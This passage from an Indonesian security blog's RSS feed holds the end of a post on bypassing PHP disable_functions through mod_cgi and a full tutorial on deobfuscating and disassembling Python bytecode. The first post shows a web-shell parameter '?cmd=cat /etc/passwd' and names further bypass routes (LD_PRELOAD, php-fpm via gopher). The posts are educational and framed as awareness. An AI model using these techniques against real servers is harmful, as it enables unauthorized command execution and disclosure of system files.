<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="362" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-145414-1024x362.png" alt="" class="wp-image-437" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-145414-1024x362.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-145414-300x106.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-145414-768x271.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-145414-1536x543.png 1536w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-145414.png 1670w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>Terlihat command id tereksekusi yang berarti kita berhasil melakukan bypass disable function dan untuk command lain mudah saja kita ganti pada file script.bhitech misalkan uname -a<br></p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="248" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-145745-1024x248.png" alt="" class="wp-image-439" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-145745-1024x248.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-145745-300x73.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-145745-768x186.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-145745-1536x372.png 1536w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-145745.png 1597w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>Yang akan menampilkan informasi tentang kernel pada server. mungkin akan ribet jika harus modifikasi file untuk melakukan eksekusi command lain jadi disini aku membuat tools untuk melakukan automasi agar lebih mudah dan dinamis </p>



<p><a href="https://github.com/ibrahimzx/mod-cgi-disable-function">https://github.com/ibrahimzx/mod-cgi-disable-function</a></p>



<p>Untuk menggunakan cukup mudah dengan hanya menambahkan GET parameter ?cmd pada url </p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="473" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-151459-1024x473.png" alt="" class="wp-image-442" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-151459-1024x473.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-151459-300x138.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-151459-768x355.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-151459.png 1250w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>Disini misalkan ingin membaca /etc/passwd tinggal tambahkan parameter <em><strong>?cmd=cat /etc/passwd</strong></em> dan command akan dieksekusi serta ditampilkan pada browser </p>



<p><strong><em>Penutup</em></strong></p>



<p>Teknik diatas merupakan salah satu dari sekian banyak cara untuk melakukan bypass pada disable function, disini agar pembaca lebih aware dengan tidak hanya mengandalkan disable function dan menganggap itu aman bahkan jika mod_cgi tidak diaktifkan attacker bisa memanfaatkan fungsi mail dengan <em><strong>LD_PRELOAD </strong></em>atau pada webserver <strong><em>nginx </em></strong>bisa dengan memanfaatkan <em><strong>php-fpm</strong></em> dan protocol gopher untuk mencapai eksekusi command. Ada juga teknik yang melakukan exploiation pada php itu sendiri dengan memanfaakan beberapa bug PHP yang sudah di publish pada <a href="https://bugs.php.net/">https://bugs.php.net/</a> seperti melakukan poisoning process dan menulis data berbahaya pada memory. Oke mungkin cukup sekian artikel kali ini dan semoga bermanfaat.</p>



<p><em>&#8220;Tidak ada akhir untuk pendidikan. Bukan berarti Anda membaca buku, lulus ujian, dan menyelesaikan pendidikan. Seluruh kehidupan, dari saat Anda lahir hingga saat Anda mati, adalah proses pembelajaran.&#8221;</em> <strong>&#8211; Jiddu Krishnamurti</strong></p>
<p>Artikel <a href="https://blog.bhineka-tech.org/2024/12/09/bypass-disable-function-using-mod_cgi/">Bypass disable function using mod_cgi</a> pertama kali tampil pada <a href="https://blog.bhineka-tech.org">Bhineka blog</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://blog.bhineka-tech.org/2024/12/09/bypass-disable-function-using-mod_cgi/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Python reverse engineering</title>
		<link>https://blog.bhineka-tech.org/2024/12/06/python-reverse-engineering/</link>
					<comments>https://blog.bhineka-tech.org/2024/12/06/python-reverse-engineering/#respond</comments>
		
		<dc:creator><![CDATA[xpl0dec]]></dc:creator>
		<pubDate>Fri, 06 Dec 2024 11:18:14 +0000</pubDate>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[programming]]></category>
		<category><![CDATA[Reverse Engineering]]></category>
		<category><![CDATA[technology]]></category>
		<guid isPermaLink="false">https://blog.bhineka-tech.org/?p=409</guid>

					<description><![CDATA[<p>Python merupakan suatu scripting language atau bahasa scripting karena sifatnya yang ringan biasanya digunakan untuk tujuan automation, exploit development, pengembangan tools bahkan ada juga web apps yang memakai python dengan framework seperti flask maupun django. Karena mudah dipelajari dan hampir compatible di semua platform, python banyak digunakan mulai dari programmer hingga pentester dan pada topik [&#8230;]</p>
<p>Artikel <a href="https://blog.bhineka-tech.org/2024/12/06/python-reverse-engineering/">Python reverse engineering</a> pertama kali tampil pada <a href="https://blog.bhineka-tech.org">Bhineka blog</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p>Python merupakan suatu scripting language atau bahasa scripting karena sifatnya yang ringan biasanya digunakan untuk tujuan automation, exploit development, pengembangan tools bahkan ada juga web apps yang memakai python dengan framework seperti flask maupun django. </p>



<p>Karena mudah dipelajari dan hampir compatible di semua platform, python banyak digunakan mulai dari programmer hingga pentester dan pada topik kali ini kita akan membahas bagaimana melakukan reverse engineering pada python karena biasanya programmer melakukan semacam teknik packing pada source code seperti melakukan obfuscate, compile serta converting kedalam bytecode.</p>



<p>Hal yang perlu diketahui disini beberapa program python pada banyak kasus tidak bisa dikembalikan kedalam source code aslinya jika programmer melakukan compile dan serialization menjadi bytecode seperti menggunakan marshal, pyarmor ataupun menjadikannya suatu executable file tapi jika programmer hanya melakukan obfuscate pada code menggunakan fungsi semacam eval, lambda, zlib, exec besar kemungkinan kita masih bisa mendapatkan source code asli pada program.</p>



<p>Kita bisa contohkan dengan program sederhana </p>



<pre class="wp-block-code has-vivid-green-cyan-color has-black-background-color has-text-color has-background has-link-color wp-elements-c7a562dc60896b4e6a51410c0e5e6ae6"><code>import codecs

def validation(input):
        valid_input = codecs.decode("ouvarxn-grpu1336", "rot-13")
        if input == valid_input:
                return True


        return False


print("Enter valid input: ", end="")
input_user = input()

if validation(input_user):
        print("Input correct!!")
else:
        print("Input incorrect no have access!!")</code></pre>



<p>Scriptnya sangat sederhana dimana terdapat satu function untuk melakukan validasi input dengan string yang sudah dilakukan substitusi menggunakan ROT-13 lalu setelah di obfuscate menjadi seperti ini :</p>



<pre class="wp-block-code has-vivid-green-cyan-color has-black-background-color has-text-color has-background has-link-color wp-elements-c1d6e1166bef409721d8c06c38086437"><code>_ = lambda __ : __import__('zlib').decompress(__import__('base64').b64decode(__&#91;::-1]));exec((_)(b'A+pAW8w/+9cxY35EeyFVcLbyqDKGpUOanCFCUVVwGWItIYh9LzSSfRhole9RY8NVAqm0Bah4cir/PYFOiiCVIi1GYChx1LLEryJr+r3w0YzDOW0X8wGWYV90lCZwxIi5r4DAhED74pv6ZfYp7jf3tX4rqiVTMgCpUKa7CWGdZ0xV2dom1pnQNOz+Uk9uDlDPVEkizxnF4pDe1NnS9rWKmbls9A3Ho+wyR66EjIz3Qm4sckZDEMgKEIjogXq07OlXac8e8DY9HHOVzSQ5tXx5M8GZxa3nAx41zRazZRm2UPgh7ZpwocDx6/uQ05I03N63GPjsmpXjCZ/kHtbPvtGe1jWfqZf+tNkqC3e9Yy8OYJIh85XaZnesf7xZmjskHUtcJNkebJ5XA08w2Ptm/hHMbot288OWyQrTNR2ZOOXC+sSIa1wRL7YdNFAWUSd97hoc5Z7Am26D9Lm+wN4moDKJOXM639h0v39+3y2iBd3s6nvx1ZMJ7apc0LVYh6OSxTBG6VbOPDNAAAkQ2udwFwJe'))</code></pre>



<p>Dan jika kita run keduanya sama sama menampilkan output yang sama dan program juga berjalan dengan benar hanya saja pada code obfuscate kita tidak mengerti fungsi apa dan seperti apa source code didalamnya karena sudah dilakukan encoding dengan zlib dan base64.</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="239" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-160237-1024x239.png" alt="" class="wp-image-415" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-160237-1024x239.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-160237-300x70.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-160237-768x180.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-160237.png 1330w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>Jadi mudah saja untuk melakukan deobfuscate kita tinggal me-replace fungsi<em> exec()</em> dengan <em>print()</em> karena kita tau jika fungsi exec() digunakan untuk melakukan eksekusi source code sedangkan fungsi print() digunakan untuk menampilkan output ke layar </p>



<pre class="wp-block-code has-vivid-green-cyan-color has-black-background-color has-text-color has-background has-link-color wp-elements-a3ead5281c2a32cc7a07f5b6f23179c8"><code>_ = lambda __ : __import__('zlib').decompress(__import__('base64').b64decode(__&#91;::-1]));print((_)(b'A+pAW8w/+9cxY35EeyFVcLbyqDKGpUOanCFCUVVwGWItIYh9LzSSfRhole9RY8NVAqm0Bah4cir/PYFOiiCVIi1GYChx1LLEryJr+r3w0YzDOW0X8wGWYV90lCZwxIi5r4DAhED74pv6ZfYp7jf3tX4rqiVTMgCpUKa7CWGdZ0xV2dom1pnQNOz+Uk9uDlDPVEkizxnF4pDe1NnS9rWKmbls9A3Ho+wyR66EjIz3Qm4sckZDEMgKEIjogXq07OlXac8e8DY9HHOVzSQ5tXx5M8GZxa3nAx41zRazZRm2UPgh7ZpwocDx6/uQ05I03N63GPjsmpXjCZ/kHtbPvtGe1jWfqZf+tNkqC3e9Yy8OYJIh85XaZnesf7xZmjskHUtcJNkebJ5XA08w2Ptm/hHMbot288OWyQrTNR2ZOOXC+sSIa1wRL7YdNFAWUSd97hoc5Z7Am26D9Lm+wN4moDKJOXM639h0v39+3y2iBd3s6nvx1ZMJ7apc0LVYh6OSxTBG6VbOPDNAAAkQ2udwFwJe'))</code></pre>



<p>Disini kita ubah exec() dengan print() lalu jika kita jalankan</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="167" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-160905-1024x167.png" alt="" class="wp-image-416" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-160905-1024x167.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-160905-300x49.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-160905-768x126.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-160905.png 1346w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>terlihat menampilkan output tetapi output masih menunjukkan code yang masih ter-obfuscate dan bisa kita asumsikan jika obfuscate pada program menggunakan double encoding dan caranya untuk mendapatkan source code aslinya dengan copy ouput dan kita buat file python baru lalu ubah exec() menjadi print() jalankan dan jika belum menampilkan code asli ulangi hingga menemukan source code aslinya.</p>



<p>Cara cepatnya lebih baik kita membuat script automation decoding agar tidak perlu repot repot melakukan decoding</p>



<pre class="wp-block-code has-vivid-green-cyan-color has-black-background-color has-text-color has-background has-link-color wp-elements-3d0fe4c96b5ba1a82c304db288341f6b"><code>_ = lambda __ : __import__('zlib').decompress(__import__('base64').b64decode(__&#91;::-1]));


obfuscate_str = (_)(b'A+pAW8w/+9cxY35EeyFVcLbyqDKGpUOanCFCUVVwGWItIYh9LzSSfRhole9RY8NVAqm0Bah4cir/PYFOiiCVIi1GYChx1LLEryJr+r3w0YzDOW0X8wGWYV90lCZwxIi5r4DAhED74pv6ZfYp7jf3tX4rqiVTMgCpUKa7CWGdZ0xV2dom1pnQNOz+Uk9uDlDPVEkizxnF4pDe1NnS9rWKmbls9A3Ho+wyR66EjIz3Qm4sckZDEMgKEIjogXq07OlXac8e8DY9HHOVzSQ5tXx5M8GZxa3nAx41zRazZRm2UPgh7ZpwocDx6/uQ05I03N63GPjsmpXjCZ/kHtbPvtGe1jWfqZf+tNkqC3e9Yy8OYJIh85XaZnesf7xZmjskHUtcJNkebJ5XA08w2Ptm/hHMbot288OWyQrTNR2ZOOXC+sSIa1wRL7YdNFAWUSd97hoc5Z7Am26D9Lm+wN4moDKJOXM639h0v39+3y2iBd3s6nvx1ZMJ7apc0LVYh6OSxTBG6VbOPDNAAAkQ2udwFwJe')


decode = str(obfuscate_str).replace('b"exec', "").replace('"', '')

result = b""
for i in range(0, 4):
        x = eval(decode)
        decode = str(x).replace('b"exec', "").replace('"', '')
        result = x


print(result.decode('utf-8'))
</code></pre>



<p>Jadi fungsi pada script diatas yaitu akan melakukan iterasi sebanyak 5 kali serta melakukan replace fungsi exec lalu dilakukan eval untuk menyimpan hasil decoding pada variable x hingga menemukan source code asli dan terakhir menggunakan print untuk menampilkan output code pada layar</p>



<figure class="wp-block-image size-full is-resized"><img loading="lazy" decoding="async" width="657" height="402" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-170600.png" alt="" class="wp-image-417" style="width:827px;height:auto" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-170600.png 657w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-170600-300x184.png 300w" sizes="auto, (max-width: 657px) 100vw, 657px" /></figure>



<p>Jika dijalankan maka akan manampilkan source code hasil deobfuscate yang menunjukkan kita berhasil mendapatkan source code aslinya. Case disini source code bisa dikembalikan pada bentuk semula karena hanya obfuscate memakai double encoding tapi bagaimana jika programmer melakukan compiling ataupun serialization ? jawabannya dengan melakukan analysis bytecode</p>



<p>Kita perlu kenalan dulu dengan marshal, jadi marshal merupakan fungsi atau modul bawaan dari python yang digunakan untuk mendapatkan byte code dari suatu script python itu sendiri jadi bisa kita sebut marshal ini sebagai suatu pseudo compiled dimana dengan marshal kita bisa melakukan converting code python ke binary format dan serialization menjadi bytecode object.</p>



<p>kita bisa melakukan compile python script menggunakan command :</p>



<pre class="wp-block-code has-vivid-green-cyan-color has-black-background-color has-text-color has-background has-link-color wp-elements-21e8c1a783c71ba2aaccf650788b6760"><code>python3 -m py_compile source_codes.py</code></pre>



<p>dan outputnya nanti akan tersimpan pada directory __<strong>pycache</strong>__ yang dimana extension file berubah menjadi .pyc. Sebenarnya.pyc merupakan file marshal yang ditambahkan header dan jika beruntung kita bisa melakukan decompile menggunakan uncompyle6 untuk mendapatkan source code asli tapi tidak selalu berhasil jadi cara alternatifnya kita perlu membaca bytecode mengunakan modul python yaitu <strong><em>dis</em></strong>.</p>



<p>untuk mengambil bytecode script python pada pyc mudah saja kita perlu mengambil byte setelah header dan paddingnya yaitu 16 byte lalu kita simpan pada file terpisah dan lakukan load menggunakan marshal.loads()</p>



<figure class="wp-block-image size-full is-resized"><img loading="lazy" decoding="async" width="790" height="210" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-173920.png" alt="" class="wp-image-418" style="width:840px;height:auto" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-173920.png 790w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-173920-300x80.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-173920-768x204.png 768w" sizes="auto, (max-width: 790px) 100vw, 790px" /></figure>



<p>Kita bisa ambil row kedua setelah 16 byte pada offset 00000010</p>



<pre class="wp-block-code has-vivid-green-cyan-color has-black-background-color has-text-color has-background has-link-color wp-elements-e6290d764c9537c074f63a66b35c530e"><code>import marshal

f = open("__pycache__/source_code.cpython-311.pyc", "rb").read()&#91;16:]
#f = open("source_code.py", "r").read()

print(f)
#code = compile(f, '', 'exec')
#print(marshal.dumps(code))
</code></pre>



<p>dan jika kita jalankan </p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="407" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-174504-1024x407.png" alt="" class="wp-image-419" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-174504-1024x407.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-174504-300x119.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-174504-768x306.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-174504.png 1347w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>maka akan menampilkan semua bytecode marshal pada file pyc kemudian kita bisa copas semua output lalu buat file baru yang nantinya kita akan eksekusi menggunakan marshal.loads()</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="343" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-174651-1024x343.png" alt="" class="wp-image-420" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-174651-1024x343.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-174651-300x100.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-174651-768x257.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-174651.png 1326w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>jika kita eksekusi sama saja dengan program .pyc kita</p>



<figure class="wp-block-image size-full is-resized"><img loading="lazy" decoding="async" width="749" height="178" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-174722.png" alt="" class="wp-image-421" style="width:840px;height:auto" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-174722.png 749w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-174722-300x71.png 300w" sizes="auto, (max-width: 749px) 100vw, 749px" /></figure>



<p>Disini bytecode dari pyc berguna untuk melakukan disassemble menggunakan modul <em><strong>dis</strong></em> yang kita bahas sebelumnya</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="330" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-175212-1024x330.png" alt="" class="wp-image-422" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-175212-1024x330.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-175212-300x97.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-175212-768x247.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-175212.png 1329w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>kita hanya perlu import modul dis dan lakukan pemanggilan fungsi <em><strong>dis.dis</strong></em> dengan parameter hasil marshal.loads() yang sebelumnya kita dapatkan</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="1010" height="699" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-175506.png" alt="" class="wp-image-423" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-175506.png 1010w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-175506-300x208.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-175506-768x532.png 768w" sizes="auto, (max-width: 1010px) 100vw, 1010px" /></figure>



<p>Maka akan menampilkan hasil disassemble opcode dari script python hal ini bisa sulit jika codenya rumit tapi dari sini kita bisa melihat fungsi apa saja dan bagaimana suatu program itu bekerja</p>



<pre class="wp-block-code has-vivid-green-cyan-color has-black-background-color has-text-color has-background has-link-color wp-elements-4ed656cc0a88e67231262d10504b2aa0"><code>Disassembly of &lt;code object validation at 0x7fe1e3401330, file "source_code.py", line 3>:
  3           0 RESUME                   0

  4           2 LOAD_GLOBAL              1 (NULL + codecs)
             14 LOAD_ATTR                1 (decode)
             24 LOAD_CONST               1 ('ouvarxn-grpu1336')
             26 LOAD_CONST               2 ('rot-13')
             28 PRECALL                  2
             32 CALL                     2
             42 STORE_FAST               1 (valid_input)

  5          44 LOAD_FAST                0 (input)
             46 LOAD_FAST                1 (valid_input)
             48 COMPARE_OP               2 (==)
             54 POP_JUMP_FORWARD_IF_FALSE     2 (to 60)

  6          56 LOAD_CONST               3 (True)
             58 RETURN_VALUE

  9     >>   60 LOAD_CONST               4 (False)
             62 RETURN_VALUE</code></pre>



<p>Contohnya pada fungsi validation dimana ada beberapa mnemonic seperti <em>LOAD_GLOBAL </em>yang digunakan untuk mengambil fungsi global dalam hal ini codecs lalu ada <em>LOAD_ATTR </em>yang mengambil attribute dengan 2 parameter yaitu ouvarxn-grpu1336 dan rot-13 yang di inisialisasi menggunakan <em>LOAD_CONST</em> dan dilakukan perbandingan menggunakan COMPARE_OP dari variable input(dalam hal ini input dari user) dengan valid_input yang mengambil dari LOAD_GLOBAL codecs.</p>



<p>Disini kita bisa analysis jika codecs melakukan decode ROT-13 pada string ouvarxn-grpu1336 dan jika kita decode ROT13 string asli merupakan <em><strong>bhineka-tech1336</strong></em> lalu kita coba inputkan pada program</p>



<figure class="wp-block-image size-full is-resized"><img loading="lazy" decoding="async" width="556" height="125" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-180600.png" alt="" class="wp-image-424" style="width:831px;height:auto" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-180600.png 556w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-180600-300x67.png 300w" sizes="auto, (max-width: 556px) 100vw, 556px" /></figure>



<p>dan berhasil yang menunjukkan output Input Correct </p>



<p><strong>Penutup</strong></p>



<p>Sebenarnya masih banyak teknik yang bisa kita lakukan untuk RE pada python contohnya kita juga bisa melakukan overwrite internal module untuk hooking dan menampilkan suatu string / data tertentu atau jika pada executable file kita bisa memanfaatkan teknik memory dump untuk melihat data pada saat program berjalan. Jadi kita tidak mungkin membahas semuanya karena itu akan sangat panjang dan tulisan ini dibuat untuk para reverser engineer agar lebih memahami bagaimana melakukan reverse engineering pada python script jadi mungkin itu saja sekiann.</p>



<p><em>&#8220;Yang penting bukan seberapa pintar kamu, tetapi seberapa keras kamu berusaha.&#8221;</em> <strong> -Albert Einstein</strong></p>
<p>Artikel <a href="https://blog.bhineka-tech.org/2024/12/06/python-reverse-engineering/">Python reverse engineering</a> pertama kali tampil pada <a href="https://blog.bhineka-tech.org">Bhineka blog</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://blog.bhineka-tech.org/2024/12/06/python-reverse-engineering/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
	</channel>
</rss>
